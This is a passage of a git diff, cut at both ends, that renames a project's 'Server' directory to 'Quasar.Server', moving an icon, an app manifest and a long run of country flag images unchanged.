b/Quasar.Server/Quasar_Server.ico similarity index 100% rename from Server/Quasar_Server.ico rename to Quasar.Server/Quasar_Server.ico diff --git a/Server/app.manifest b/Quasar.Server/app.manifest similarity index 100% rename from Server/app.manifest rename to Quasar.Server/app.manifest diff --git a/Server/flags/ad.png b/Quasar.Server/flags/ad.png similarity index 100% rename from Server/flags/ad.png rename to Quasar.Server/flags/ad.png diff --git a/Server/flags/ae.png b/Quasar.Server/flags/ae.png similarity index 100% rename from Server/flags/ae.png rename to Quasar.Server/flags/ae.png diff --git a/Server/flags/af.png b/Quasar.Server/flags/af.png similarity index 100% rename from Server/flags/af.png rename to Quasar.Server/flags/af.png diff --git a/Server/flags/ag.png b/Quasar.Server/flags/ag.png similarity index 100% rename from Server/flags/ag.png rename to Quasar.Server/flags/ag.png diff --git a/Server/flags/ai.png b/Quasar.Server/flags/ai.png similarity index 100% rename from Server/flags/ai.png rename to Quasar.Server/flags/ai.png diff --git a/Server/flags/al.png b/Quasar.Server/flags/al.png similarity index 100% rename from Server/flags/al.png rename to Quasar.Server/flags/al.png diff --git a/Server/flags/am.png b/Quasar.Server/flags/am.png similarity index 100% rename from Server/flags/am.png rename to Quasar.Server/flags/am.png diff --git a/Server/flags/an.png b/Quasar.Server/flags/an.png similarity index 100% rename from Server/flags/an.png rename to Quasar.Server/flags/an.png diff --git a/Server/flags/ao.png b/Quasar.Server/flags/ao.png similarity index 100% rename from Server/flags/ao.png rename to Quasar.Server/flags/ao.png diff --git a/Server/flags/ar.png b/Quasar.Server/flags/ar.png similarity index 100% rename from Server/flags/ar.png rename to Quasar.Server/flags/ar.png diff --git a/Server/flags/as.png b/Quasar.Server/flags/as.png similarity index 100% rename from Server/flags/as.png rename to Quasar.Server/flags/as.png diff --git a/Server/flags/at.png b/Quasar.Server/flags/at.png similarity index 100% rename from Server/flags/at.png rename to Quasar.Server/flags/at.png diff --git a/Server/flags/au.png b/Quasar.Server/flags/au.png similarity index 100% rename from Server/flags/au.png rename to Quasar.Server/flags/au.png diff --git a/Server/flags/aw.png b/Quasar.Server/flags/aw.png similarity index 100% rename from Server/flags/aw.png rename to Quasar.Server/flags/aw.png diff --git a/Server/flags/ax.png b/Quasar.Server/flags/ax.png similarity index 100% rename from Server/flags/ax.png rename to Quasar.Server/flags/ax.png diff --git a/Server/flags/az.png b/Quasar.Server/flags/az.png similarity index 100% rename from Server/flags/az.png rename to Quasar.Server/flags/az.png diff --git a/Server/flags/ba.png b/Quasar.Server/flags/ba.png similarity index 100% rename from Server/flags/ba.png rename to Quasar.Server/flags/ba.png diff --git a/Server/flags/bb.png b/Quasar.Server/flags/bb.png similarity index 100% rename from Server/flags/bb.png rename to Quasar.Server/flags/bb.png diff --git a/Server/flags/bd.png b/Quasar.Server/flags/bd.png similarity index 100% rename from Server/flags/bd.png rename to Quasar.Server/flags/bd.png diff --git a/Server/flags/be.png b/Quasar.Server/flags/be.png similarity index 100% rename from Server/flags/be.png rename to Quasar.Server/flags/be.png diff --git a/Server/flags/bf.png b/Quasar.Server/flags/bf.png similarity index 100% rename from Server/flags/bf.png rename to Quasar.Server/flags/bf.png diff --git a/Server/flags/bg.png b/Quasar.Server/flags/bg.png similarity index 100% rename from Server/flags/bg.png rename to Quasar.Server/flags/bg.png diff --git a/Server/flags/bh.png b/Quasar.Server/flags/bh.png similarity index 100% rename from Server/flags/bh.png rename to Quasar.Server/flags/bh.png diff --git a/Server/flags/bi.png b/Quasar.Server/flags/bi.png similarity index 100% rename from Server/flags/bi.png rename to Quasar.Server/flags/bi.png diff --git a/Server/flags/bj.png b/Quasar.Server/flags/bj.png similarity index 100% rename from Server/flags/bj.png rename to Quasar.Server/flags/bj.png diff --git a/Server/flags/bm.png b/Quasar.Server/flags/bm.png similarity index 100% rename from Server/flags/bm.png rename to Quasar.Server/flags/bm.png diff --git a/Server/flags/bn.png b/Quasar.Server/flags/bn.png similarity index 100% rename from Server/flags/bn.png rename to Quasar.Server/flags/bn.png diff --git a/Server/flags/bo.png b/Quasar.Server/flags/bo.png similarity index 100% rename from Server/flags/bo.png rename to Quasar.Server/flags/bo.png diff --git a/Server/flags/br.png b/Quasar.Server/flags/br.png similarity index 100% rename from Server/flags/br.png rename to Quasar.Server/flags/br.png diff --git a/Server/flags/bs.png b/Quasar.Server/flags/bs.png similarity index 100% rename from Server/flags/bs.png rename to Quasar.Server/flags/bs.png diff --git a/Server/flags/bt.png b/Quasar.Server/flags/bt.png similarity index 100% rename from Server/flags/bt.png rename to Quasar.Server/flags/bt.png diff --git a/Server/flags/bv.png b/Quasar.Server/flags/bv.png similarity index 100% rename from Server/flags/bv.png rename to Quasar.Server/flags/bv.png diff --git a/Server/flags/bw.png b/Quasar.Server/flags/bw.png similarity index 100% rename from Server/flags/bw.png rename to Quasar.Server/flags/bw.png diff --git a/Server/flags/by.png b/Quasar.Server/flags/by.png similarity index 100% rename from Server/flags/by.png rename to Quasar.Server/flags/by.png diff --git a/Server/flags/bz.png b/Quasar.Server/flags/bz.png similarity index 100% rename from Server/flags/bz.png rename to Quasar.Server/flags/bz.png diff --git a/Server/flags/ca.png b/Quasar.Server/flags/ca.png similarity index 100% rename from Server/flags/ca.png rename to Quasar.Server/flags/ca.png diff --git a/Server/flags/catalonia.png b/Quasar.Server/flags/catalonia.png similarity index 100% rename from Server/flags/catalonia.png rename to Quasar.Server/flags/catalonia.png diff --git a/Server/flags/cc.png b/Quasar.Server/flags/cc.png similarity index 100% rename from Server/flags/cc.png rename to Quasar.Server/flags/cc.png diff --git a/Server/flags/cd.png b/Quasar.Server/flags/cd.png similarity index 100% rename from Server/flags/cd.png rename to Quasar.Server/flags/cd.png diff --git a/Server/flags/cf.png b/Quasar.Server/flags/cf.png similarity index 100% rename from Server/flags/cf.png rename to Quasar.Server/flags/cf.png diff --git a/Server/flags/cg.png b/Quasar.Server/flags/cg.png similarity index 100% rename from Server/flags/cg.png rename to Quasar.Server/flags/cg.png diff --git a/Server/flags/ch.png b/Quasar.Server/flags/ch.png similarity index 100% rename from Server/flags/ch.png rename to Quasar.Server/flags/ch.png diff --git a/Server/flags/ci.png b/Quasar.Server/flags/ci.png similarity index 100% rename from Server/flags/ci.png rename to Quasar.Server/flags/ci.png diff --git a/Server/flags/ck.png b/Quasar.Server/flags/ck.png similarity index 100% rename from Server/flags/ck.png rename to Quasar.Server/flags/ck.png diff --git a/Server/flags/cl.png b/Quasar.Server/flags/cl.png similarity index 100% rename from Server/flags/cl.png rename to Quasar.Server/flags/cl.png diff --git a/Server/flags/cm.png b/Quasar.Server/flags/cm.png similarity index 100% rename from Server/flags/cm.png rename to Quasar.Server/flags/cm.png diff --git a/Server/flags/cn.png b/Quasar.Server/flags/cn.png similarity index 100% rename from Server/flags/cn.png rename to Quasar.Server/flags/cn.png diff --git a/Server/flags/co.png b/Quasar.Server/flags/co.png similarity index 100% rename from Server/flags/co.png rename to Quasar.Server/flags/co.png diff --git a/Server/flags/cr.png b/Quasar.Server/flags/cr.png similarity index 100% rename from Server/flags/cr.png rename to Quasar.Server/flags/cr.png diff --git a/Server/flags/cs.png b/Quasar.Server/flags/cs.png similarity index 100% rename from Server/flags/cs.png rename to Quasar.Server/flags/cs.png diff --git a/Server/flags/cu.png b/Quasar.Server/flags/cu.png similarity index 100% rename from Server/flags/cu.png rename to Quasar.Server/flags/cu.png diff --git a/Server/flags/cv.png b/Quasar.Server/flags/cv.png similarity index 100% rename from Server/flags/cv.png rename to Quasar.Server/flags/cv.png diff --git a/Server/flags/cx.png b/Quasar.Server/flags/cx.png similarity index 100% rename from Server/flags/cx.png rename to Quasar.Server/flags/cx.png diff --git a/Server/flags/cy.png b/Quasar.Server/flags/cy.png similarity index 100% rename from Server/flags/cy.png rename to Quasar.Server/flags/cy.png diff --git a/Server/flags/cz.png b/Quasar.Server/flags/cz.png similarity index 100% rename from Server/flags/cz.png rename to Quasar.Server/flags/cz.png diff --git a/Server/flags/de.png b/Quasar.Server/flags/de.png similarity index 100% rename from Server/flags/de.png rename to Quasar.Server/flags/de.png diff --git a/Server/flags/dj.png b/Quasar.Server/flags/dj.png similarity index 100% rename from Server/flags/dj.png rename to Quasar.Server/flags/dj.png diff --git a/Server/flags/dk.png b/Quasar.Server/flags/dk.png similarity index 100% rename from Server/flags/dk.png rename to Quasar.Server/flags/dk.png diff --git a/Server/flags/dm.png b/Quasar.Server/flags/dm.png similarity index 100% rename from Server/flags/dm.png rename to Quasar.Server/flags/dm.png diff --git a/Server/flags/do.png b/Quasar.Server/flags/do.png similarity index 100% rename from Server/flags/do.png rename to Quasar.Server/flags/do.png diff --git a/Server/flags/dz.png b/Quasar.Server/flags/dz.png similarity index 100% rename from Server/flags/dz.png rename to Quasar.Server/flags/dz.png diff --git a/Server/flags/ec.png b/Quasar.Server/flags/ec.png similarity index 100% rename from Server/flags/ec.png rename to Quasar.Server/flags/ec.png diff --git a/Server/flags/ee.png b/Quasar.Server/flags/ee.png similarity index 100% rename from Server/flags/ee.png rename to Quasar.Server/flags/ee.png diff --git a/Server/flags/eg.png b/Quasar.Server/flags/eg.png similarity index 100% rename from Server/flags/eg.png rename to Quasar.Server/flags/eg.png diff --git a/Server/flags/eh.png b/Quasar.Server/flags/eh.png similarity index 100% rename from Server/flags/eh.png rename to Quasar.Server/flags/eh.png diff --git a/Server/flags/england.png b/Quasar.Server/flags/england.png similarity index 100% rename from Server/flags/england.png rename to Quasar.Server/flags/england.png diff --git a/Server/flags/er.png b/Quasar.Server/flags/er.png similarity index 100% rename from Server/flags/er.png rename to Quasar.Server/flags/er.png diff --git a/Server/flags/es.png b/Quasar.Server/flags/es.png similarity index 100% rename from Server/flags/es.png rename to Quasar.Server/flags/es.png diff --git a/Server/flags/et.png b/Quasar.Server/flags/et.png similarity index 100% rename from Server/flags/et.png rename to Quasar.Server/flags/et.png diff --git a/Server/flags/europeanunion.png b/Quasar.Server/flags/europeanunion.png similarity index 100% rename from Server/flags/europeanunion.png rename to Quasar.Server/flags/europeanunion.png diff --git a/Server/flags/fam.png b/Quasar.Server/flags/fam.png similarity index 100% rename from Server/flags/fam.png rename to Quasar.Server/flags/fam.png diff --git a/Server/flags/fi.png b/Quasar.Server/flags/fi.png similarity index 100% rename from Server/flags/fi.png rename to Quasar.Server/flags/fi.png diff --git a/Server/flags/fj.png b/Quasar.Server/flags/fj.png similarity index 100% rename from Server/flags/fj.png rename to Quasar.Server/flags/fj.png diff --git a/Server/flags/fk.png b/Quasar.Server/flags/fk.png similarity index 100% rename from Server/flags/fk.png rename to Quasar.Server/flags/fk.png diff --git a/Server/flags/fm.png b/Quasar.Server/flags/fm.png similarity index 100% rename from Server/flags/fm.png rename to Quasar.Server/flags/fm.png diff --git a/Server/flags/fo.png b/Quasar.Server/flags/fo.png similarity index 100% rename from Server/flags/fo.png rename to Quasar.Server/flags/fo.png diff --git a/Server/flags/fr.png b/Quasar.Server/flags/fr.png similarity index 100% rename from Server/flags/fr.png rename to Quasar.Server/flags/fr.png diff --git a/Server/flags/ga.png b/Quasar.Server/flags/ga.png similarity index 100% rename from Server/flags/ga.png rename to Quasar.Server/flags/ga.png diff --git a/Server/flags/gb.png b/Quasar.Server/flags/gb.png similarity index 100% rename from Server/flags/gb.png rename to Quasar.Server/flags/gb.png diff --git a/Server/flags/gd.png b/Quasar.Server/flags/gd.png similarity index 100% rename from Server/flags/gd.png rename to Quasar.Server/flags/gd.png diff --git a/Server/flags/ge.png b/Quasar.Server/flags/ge.png similarity index 100% rename from Server/flags/ge.png rename to Quasar.Server/flags/ge.png diff --git a/Server/flags/gf.png b/Quasar.Server/flags/gf.png similarity index 100% rename from Server/flags/gf.png rename to Quasar.Server/flags/gf.png diff --git a/Server/flags/gh.png b/Quasar.Server/flags/gh.png similarity index 100% rename from Server/flags/gh.png rename to Quasar.Server/flags/gh.png diff --git a/Server/flags/gi.png b/Quasar.Server/flags/gi.png similarity index 100% rename from Server/flags/gi.png rename to Quasar.Server/flags/gi.png diff --git a/Server/flags/gl.png b/Quasar.Server/flags/gl.png similarity index 100% rename from Server/flags/gl.png rename to Quasar.Server/flags/gl.png diff --git a/Server/flags/gm.png b/Quasar.Server/flags/gm.png similarity index 100% rename from Server/flags/gm.png rename to Quasar.Server/flags/gm.png diff --git a/Server/flags/gn.png b/Quasar.Server/flags/gn.png similarity index 100% rename from Server/flags/gn.png rename to Quasar.Server/flags/gn.png diff --git a/Server/flags/gp.png b/Quasar.Server/flags/gp.png similarity index 100% rename from Server/flags/gp.png rename to Quasar.Server/flags/gp.png diff --git a/Server/flags/gq.png b/Quasar.Server/flags/gq.png similarity index 100% rename from Server/flags/gq.png rename to Quasar.Server/flags/gq.png diff --git a/Server/flags/gr.png b/Quasar.Server/flags/gr.png similarity index 100% rename from Server/flags/gr.png rename to Quasar.Server/flags/gr.png diff --git a/Server/flags/gs.png b/Quasar.Server/flags/gs.png similarity index 100% rename from Server/flags/gs.png rename to Quasar.Server/flags/gs.png diff --git a/Server/flags/gt.png b/Quasar.Server/flags/gt.png similarity index 100% rename from Server/flags/gt.png rename to Quasar.Server/flags/gt.png diff --git a/Server/flags/gu.png b/Quasar.Server/flags/gu.png similarity index 100% rename from Server/flags/gu.png rename to Quasar.Server/flags/gu.png diff --git a/Server/flags/gw.png b/Quasar.Server/flags/gw.png similarity index 100% rename from Server/flags/gw.png rename to Quasar.Server/flags/gw.png diff --git a/Server/flags/gy.png b/Quasar.Server/flags/gy.png similarity index 100% rename from Server/flags/gy.png rename to Quasar.Server/flags/gy.png diff --git a/Server/flags/hk.png b/Quasar.Server/flags/hk.png similarity index 100% rename from Server/flags/hk.png rename to Quasar.Server/flags/hk.png diff --git a/Server/flags/hm.png b/Quasar.Server/flags/hm.png similarity index 100% rename from Server/flags/hm.png rename to Quasar.Server/flags/hm.png diff --git a/Server/flags/hn.png b/Quasar.Server/flags/hn.png similarity index 100% rename from Server/flags/hn.png rename to Quasar.Server/flags/hn.png diff --git a/Server/flags/hr.png b/Quasar.Server/flags/hr.png similarity index 100% rename from Server/flags/hr.png rename to Quasar.Server/flags/hr.png diff --git a/Server/flags/ht.png b/Quasar.Server/flags/ht.png similarity index 100% rename from Server/flags/ht.png rename to Quasar.Server/flags/ht.png diff --git a/Server/flags/hu.png b/Quasar.Server/flags/hu.png similarity index 100% rename from Server/flags/hu.png rename to Quasar.Server/flags/hu.png diff --git a/Server/flags/id.png b/Quasar.Server/flags/id.png similarity index 100% rename from Server/flags/id.png rename to Quasar.Server/flags/id.png diff --git a/Server/flags/ie.png b/Quasar.Server/flags/ie.png similarity index 100% rename from Server/flags/ie.png rename to Quasar.Server/flags/ie.png diff --git a/Server/flags/il.png b/Quasar.Server/flags/il.png similarity index 100% rename from Server/flags/il.png rename to Quasar.Server/flags/il.png diff --git a/Server/flags/in.png b/Quasar.Server/flags/in.png similarity index 100% rename from Server/flags/in.png rename to Quasar.Server/flags/in.png diff --git a/Server/flags/io.png b/Quasar.Server/flags/io.png similarity index 100% rename from Server/flags/io.png rename to Quasar.Server/flags/io.png diff --git a/Server/flags/iq.png b/Quasar.Server/flags/iq.png similarity index 100% rename from Server/flags/iq.png rename to Quasar.Server/flags/iq.png diff --git a/Server/flags/ir.png b/Quasar.Server/flags/ir.png similarity index 100% rename from Server/flags/ir.png rename to Quasar.Server/flags/ir.png diff --git a/Server/flags/is.png b/Quasar.Server/flags/is.png similarity index 100% rename from Server/flags/is.png rename to Quasar.Server/flags/is.png diff --git a/Server/flags/it.png b/Quasar.Server/flags/it.png similarity index 100% rename from Server/flags/it.png rename to Quasar.Server/flags/it.png diff --git a/Server/flags/jm.png b/Quasar.Server/flags/jm.png similarity index 100% rename from Server/flags/jm.png rename to Quasar.Server/flags/jm.png diff --git a/Server/flags/jo.png b/Quasar.Server/flags/jo.png similarity index 100% rename from Server/flags/jo.png rename to Quasar.Server/flags/jo.png diff --git a/Server/flags/jp.png b/Quasar.Server/flags/jp.png similarity index 100% rename from Server/flags/jp.png rename to Quasar.Server/flags/jp.png diff --git a/Server/flags/ke.png b/Quasar.Server/flags/ke.png similarity index 100% rename from Server/flags/ke.png rename to Quasar.Server/flags/ke.png diff --git a/Server/flags/kg.png b/Quasar.Server/flags/kg.png similarity index 100% rename from Server/flags/kg.png rename to Quasar.Server/flags/kg.png diff --git a/Server/flags/kh.png b/Quasar.Server/flags/kh.png similarity index 100% rename from Server/flags/kh.png rename to Quasar.Server/flags/kh.png diff --git a/Server/flags/ki.png b/Quasar.Server/flags/ki.png similarity index 100% rename from Server/flags/ki.png rename to Quasar.Server/flags/ki.png diff --git a/Server/flags/km.png b/Quasar.Server/flags/km.png similarity index 100% rename from Server/flags/km.png rename to Quasar.Server/flags/km.png diff --git a/Server/flags/kn.png b/Quasar.Server/flags/kn.png similarity index 100% rename from Server/flags/kn.png rename to Quasar.Server/flags/kn.png diff --git a/Server/flags/kp.png b/Quasar.Server/flags/kp.png similarity index 100% rename from Server/flags/kp.png rename to Quasar.Server/flags/kp.png diff --git a/Server/flags/kr.png b/Quasar.Server/flags/kr.png similarity index 100% rename from Server/flags/kr.png rename to Quasar.Server/flags/kr.png diff --git a/Server/flags/kw.png b/Quasar.Server/flags/kw.png similarity index 100% rename from Server/flags/kw.png rename to Quasar.Server/flags/kw.png diff --git a/Server/flags/ky.png b/Quasar.Server/flags/ky.png similarity index 100% rename from Server/flags/ky.png rename to Quasar.Server/flags/ky.png diff --git a/Server/flags/kz.png b/Quasar.Server/flags/kz.png similarity index 100% rename from Server/flags/kz.png rename to Quasar.Server/flags/kz.png diff --git a/Server/flags/la.png b/Quasar.Server/flags/la.png similarity index 100% rename from Server/flags/la.png rename to Quasar.Server/flags/la.png diff --git a/Server/flags/lb.png b/Quasar.Server/flags/lb.png similarity index 100% rename from Server/flags/lb.png rename to Quasar.Server/flags/lb.png diff --git a/Server/flags/lc.png b/Quasar.Server/flags/lc.png similarity index 100% rename from Server/flags/lc.png rename to Quasar.Server/flags/lc.png diff --git a/Server/flags/li.png b/Quasar.Server/flags/li.png similarity index 100% rename from Server/flags/li.png rename to Quasar.Server/flags/li.png diff --git a/Server/flags/lk.png b/Quasar.Server/flags/lk.png similarity index 100% rename from Server/flags/lk.png rename to Quasar.Server/flags/lk.png diff --git a/Server/flags/lr.png b/Quasar.Server/flags/lr.png similarity index 100% rename from Server/flags/lr.png rename to Quasar.Server/flags/lr.png diff --git a/Server/flags/ls.png b/Quasar.Server/flags/ls.png similarity index 100% rename from Server/flags/ls.png rename to Quasar.Server/flags/ls.png diff --git a/Server/flags/lt.png b/Quasar.Server/flags/lt.png similarity index 100% rename from Server/flags/lt.png rename to Quasar.Server/flags/lt.png diff --git a/Server/flags/lu.png b/Quasar.Server/flags/lu.png similarity index 100% rename from Server/flags/lu.png rename to Quasar.Server/flags/lu.png diff --git a/Server/flags/lv.png b/Quasar.Server/flags/lv.png similarity index 100% rename from Server/flags/lv.png rename to Quasar.Server/flags/lv.png diff --git a/Server/flags/ly.png b/Quasar.Server/flags/ly.png similarity index 100% rename from Server/flags/ly.png rename to Quasar.Server/flags/ly.png diff --git a/Server/flags/ma.png b/Quasar.Server/flags/ma.png similarity index 100% rename from Server/flags/ma.png rename to Quasar.Server/flags/ma.png diff --git a/Server/flags/mc.png b/Quasar.Server/flags/mc.png similarity index 100% rename from Server/flags/mc.png rename to Quasar.Server/flags/mc.png diff --git a/Server/flags/md.png b/Quasar.Server/flags/md.png similarity index 100% rename from Server/flags/md.png rename to Quasar.Server/flags/md.png diff --git a/Server/flags/me.png b/Quasar.Server/flags/me.png similarity index 100% rename from Server/flags/me.png rename to Quasar.Server/flags/me.png diff --git a/Server/flags/mg.png b/Quasar.Server/flags/mg.png similarity index 100% rename from Server/flags/mg.png rename to Quasar.Server/flags/mg.png diff --git a/Server/flags/mh.png b/Quasar.Server/flags/mh.png similarity index 100% rename from Server/flags/mh.png rename to Quasar.Server/flags/mh.png diff --git a/Server/flags/mk.png b/Quasar.Server/flags/mk.png similarity index 100% rename from Server/flags/mk.png rename to Quasar.Server/flags/mk.png diff --git a/Server/flags/ml.png b/Quasar.Server/flags/ml.png similarity index 100% rename from Server/flags/ml.png rename to Quasar.Server/flags/ml.png diff --git a/Server/flags/mm.png b/Quasar.Server/flags/mm.png similarity index 100% rename from Server/flags/mm.png rename to Quasar.Server/flags/mm.png diff --git a/Server/flags/mn.png b/Quasar.Server/flags/mn.png similarity index 100% rename from Server/flags/mn.png rename to Quasar.Server/flags/mn.png diff --git a/Server/flags/mo.png b/Quasar.Server/flags/mo.png similarity index 100% rename from Server/flags/mo.png rename to Quasar.Server/flags/mo.png diff --git a/Server/flags/mp.png b/Quasar.Server/flags/mp.png similarity index 100% rename from Server/flags/mp.png rename to Quasar.Server/flags/mp.png diff --git a/Server/flags/mq.png b/Quasar.Server/flags/mq.png similarity index 100% rename from Server/flags/mq.png rename to Quasar.Server/flags/mq.png diff --git a/Server/flags/mr.png b/Quasar.Server/flags/mr.png similarity index 100% rename from Server/flags/mr.png rename to Quasar.Server/flags/mr.png diff --git a/Server/flags/ms.png b/Quasar.Server/flags/ms.png similarity index 100% rename from Server/flags/ms.png rename to Quasar.Server/flags/ms.png diff --git a/Server/flags/mt.png b/Quasar.Server/flags/mt.png similarity index 100% rename from Server/flags/mt.png rename to Quasar.Server/flags/mt.png diff --git a/Server/flags/mu.png b/Quasar.Server/flags/mu.png similarity index 100% rename from Server/flags/mu.png rename to Quasar.Server/flags/mu.png diff --git a/Server/flags/mv.png b/Quasar.Server/flags/mv.png similarity index 100% rename from Server/flags/mv.png rename to Quasar.Server/flags/mv.png diff --git a/Server/flags/mw.png b/Quasar.Server/flags/mw.png similarity index 100% rename from Server/flags/mw.png rename to Quasar.Server/flags/mw.png diff --git a/Server/flags/mx.png b/Quasar.Server/flags/mx.png similarity index 100% rename from Server/flags/mx.png rename to Quasar.Server/flags/mx.png diff --git a/Server/flags/my.png b/Quasar.Server/flags/my.png similarity index 100% rename from Server/flags/my.png rename to Quasar.Server/flags/my.png diff --git a/Server/flags/mz.png b/Quasar.Server/flags/mz.png similarity index 100% rename from Server/flags/mz.png rename to Quasar.Server/flags/mz.png diff --git a/Server/flags/na.png b/Quasar.Server/flags/na.png similarity index 100% rename from Server/flags/na.png rename to Quasar.Server/flags/na.png diff --git a/Server/flags/nc.png b/Quasar.Server/flags/nc.png similarity index 100% rename from Server/flags/nc.png rename to Quasar.Server/flags/nc.png diff --git a/Server/flags/ne.png b/Quasar.Server/flags/ne.png similarity index 100% rename from Server/flags/ne.png rename to Quasar.Server/flags/ne.png diff --git a/Server/flags/nf.png b/Quasar.Server/flags/nf.png similarity index 100% rename from Server/flags/nf.png rename to Quasar.Server/flags/nf.png diff --git a/Server/flags/ng.png b/Quasar.Server/flags/ng.png similarity index 100% rename from Server/flags/ng.png rename to Quasar.Server/flags/ng.png diff --git a/Server/flags/ni.png b/Quasar.Server/flags/ni.png similarity index 100% rename from Server/flags/ni.png rename to Quasar.Server/flags/ni.png diff --git a/Server/flags/nl.png b/Quasar.Server/flags/nl.png similarity index 100% rename from Server/flags/nl.png rename to Quasar.Server/flags/nl.png diff --git a/Server/flags/no.png b/Quasar.Server/flags/no.png similarity index 100% rename from Server/flags/no.png rename to Quasar.Server/flags/no.png diff --git a/Server/flags/np.png b/Quasar.Server/flags/np.png similarity index 100% rename from Server/flags/np.png rename to Quasar.Server/flags/np.png diff --git a/Server/flags/nr.png b/Quasar.Server/flags/nr.png similarity index 100% rename from Server/flags/nr.png rename to Quasar.Server/flags/nr.png diff --git a/Server/flags/nu.png b/Quasar.Server/flags/nu.png similarity index 100% rename from Server/flags/nu.png rename to Quasar.Server/flags/nu.png diff --git a/Server/flags/nz.png b/Quasar.Server/flags/nz.png similarity index 100% rename from Server/flags/nz.png rename to Quasar.Server/flags/nz.png diff --git a/Server/flags/om.png b/Quasar.Server/flags/om.png similarity index 100% rename from Server/flags/om.png rename to Quasar.Server/flags/om.png diff --git a/Server/flags/pa.png b/Quasar.Server/flags/pa.png similarity index 100% rename from Server/flags/pa.png rename to Quasar.Server/flags/pa.png diff --git a/Server/flags/pe.png b/Quasar.Server/flags/pe.png similarity index 100% rename from Server/flags/pe.png rename to Quasar.Server/flags/pe.png diff --git a/Server/flags/pf.png b/Quasar.Server/flags/pf.png similarity index 100% rename from Server/flags/pf.png rename to Quasar.Server/flags/pf.png diff --git a/Server/flags/pg.png b/Quasar.Server/flags/pg.png similarity index 100% rename from Server/flags/pg.png rename to Quasar.Server/flags/pg.png diff --git a/Server/flags/ph.png b/Quasar.Server/flags/ph.png similarity index 100% rename from Server/flags/ph.png rename to Quasar.Server/flags/ph.png diff --git a/Server/flags/pk.png b/Quasar.Server/flags/pk.png similarity index 100% rename from Server/flags/pk.png rename to Quasar.Server/flags/pk.png diff --git a/Server/flags/pl.png b/Quasar.Server/flags/pl.png similarity index 100% rename from Server/flags/pl.png rename to Quasar.Server/flags/pl.png diff --git a/Server/flags/pm.png b/Quasar.Server/flags/pm.png similarity index 100% rename from Server/flags/pm.png rename to Quasar.Server/flags/pm.png diff --git a/Server/flags/pn.png b/Quasar.Server/flags/pn.png similarity index 100% rename from Server/flags/pn.png rename to Quasar.Server/flags/pn.png diff --git a/Server/flags/pr.png b/Quasar.Server/flags/pr.png similarity index 100% rename from Server/flags/pr.png rename to Quasar.Server/flags/pr.png diff --git a/Server/flags/ps.png b/Quasar.Server/flags/ps.png similarity index 100% rename from Server/flags/ps.png rename to Quasar.Server/flags/ps.png diff --git a/Server/flags/pt.png b/Quasar.Server/flags/pt.png similarity index 100% rename from Server/flags/pt.png rename to Quasar.Server/flags/pt.png diff --git a/Server/flags/pw.png b/Quasar.Server/flags/pw.png similarity index 100% rename from Server/flags/pw.png rename to Quasar.Server/flags/pw.png diff --git a/Server/flags/py.png b/Quasar.Server/flags/py.png similarity index 100% rename from Server/flags/py.png rename to Quasar.Server/flags/py.png diff --git a/Server/flags/qa.png b/Quasar.Server/flags/qa.png similarity index 100% rename from Server/flags/qa.png rename to Quasar.Server/flags/qa.png diff --git a/Server/flags/re.png b/Quasar.Server/flags/re.png similarity index 100% rename from Server/flags/re.png rename to Quasar.Server/flags/re.png diff --git a/Server/flags/ro.png b/Quasar.Server/flags/ro.png similarity index 100% rename from Server/flags/ro.png rename to Quasar.Server/flags/ro.png diff --git a/Server/flags/rs.png b/Quasar.Server/flags/rs.png similarity index 100% rename from Server/flags/rs.png rename to Quasar.Server/flags/rs.png diff --git a/Server/flags/ru.png b/Quasar.Server/flags/ru.png similarity index 100% rename from Server/flags/ru.png rename to Quasar.Server/flags/ru.png diff --git a/Server/flags/rw.png b/Quasar.Server/flags/rw.png similarity index 100% rename from Server/flags/rw.png rename to Quasar.Server/flags/rw.png diff --git a/Server/flags/sa.png b/Quasar.Server/flags/sa.png similarity index 100% rename from Server/flags/sa.png rename to Quasar.Server/flags/sa.png diff --git a/Server/flags/sb.png b/Quasar.Server/flags/sb.png similarity index 100% rename from Server/flags/sb.png rename to Quasar.Server/flags/sb.png diff --git a/Server/flags/sc.png b/Quasar.Server/flags/sc.png similarity index 100% rename from Server/flags/sc.png rename to Quasar.Server/flags/sc.png diff --git a/Server/flags/scotland.png b/Quasar.Server/flags/scotland.png similarity index 100% rename from Server/flags/scotland.png rename to Quasar.Server/flags/scotland.png diff --git a/Server/flags/sd.png b/Quasar.Server/flags/sd.png similarity index 100% rename from Server/flags/sd.png rename to Quasar.Server/flags/sd.png diff --git a/Server/flags/se.png b/Quasar.Server/flags/se.png similarity index 100% rename from Server/flags/se.png rename to Quasar.Server/flags/se.png diff --git a/Server/flags/sg.png b/Quasar.Server/flags/sg.png similarity index 100% rename from Server/flags/sg.png rename to Quasar.Server/flags/sg.png diff --git a/Server/flags/sh.png b/Quasar.Server/flags/sh.png similarity index 100% rename from Server/flags/sh.png rename to Quasar.Server/flags/sh.png diff --git a/Server/flags/si.png b/Quasar.Server/flags/si.png similarity index 100% rename from Server/flags/si.png rename to Quasar.Server/flags/si.png diff --git a/Server/flags/sj.png b/Quasar.Server/flags/sj.png similarity index 100% rename from Server/flags/sj.png rename to Quasar.Server/flags/sj.png diff --git a/Server/flags/sk.png b/Quasar.Server/flags/sk.png similarity index 100% rename from Server/flags/sk.png rename to Quasar.Server/flags/sk.png diff --git a/Server/flags/sl.png b/Quasar.Server/flags/sl.png similarity index 100% rename from Server/flags/sl.png rename to Quasar.Server/flags/sl.png diff --git a/Server/flags/sm.png b/Quasar.Server/flags/sm.png similarity index 100% rename from Server/flags/sm.png rename to Quasar.Server/flags/sm.png diff --git a/Server/flags/sn.png b/Quasar.Server/flags/sn.png similarity index 100% rename from Server/flags/sn.png rename to Quasar.Server/flags/sn.png diff --git a/Server/flags/so.png b/Quasar.Server/flags/so.png similarity index 100% rename from Server/flags/so.png rename to Quasar.Server/flags/so.png diff --git a/Server/flags/sr.png b/Quasar.Server/flags/sr.png similarity index 100% rename from Server/flags/sr.png rename to Quasar.Server/flags/sr.png diff --git a/Server/flags/st.png b/Quasar.Server/flags/st.png similarity index 100% rename from Server/flags/st.png rename to Quasar.Server/flags/st.png diff --git a/Server/flags/sv.png b/Quasar.Server/flags/sv.png similarity index 100% rename from Server/flags/sv.png rename to Quasar.Server/flags/sv.png diff --git a/Server/flags/sy.png b/Quasar.Server/flags/sy.png similarity index 100% rename from Server/flags/sy.png rename to Quasar.Server/flags/sy.png diff --git a/Server/flags/sz.png b/Quasar.Server/flags/sz.png similarity index 100% rename from Server/flags/sz.png rename to Quasar.Server/flags/sz.png diff --git a/Server/flags/tc.png b/Quasar.Server/flags/tc.png similarity index 100% rename from Server/flags/tc.png rename to Quasar.Server/flags/tc.png diff --git a/Server/flags/td.png 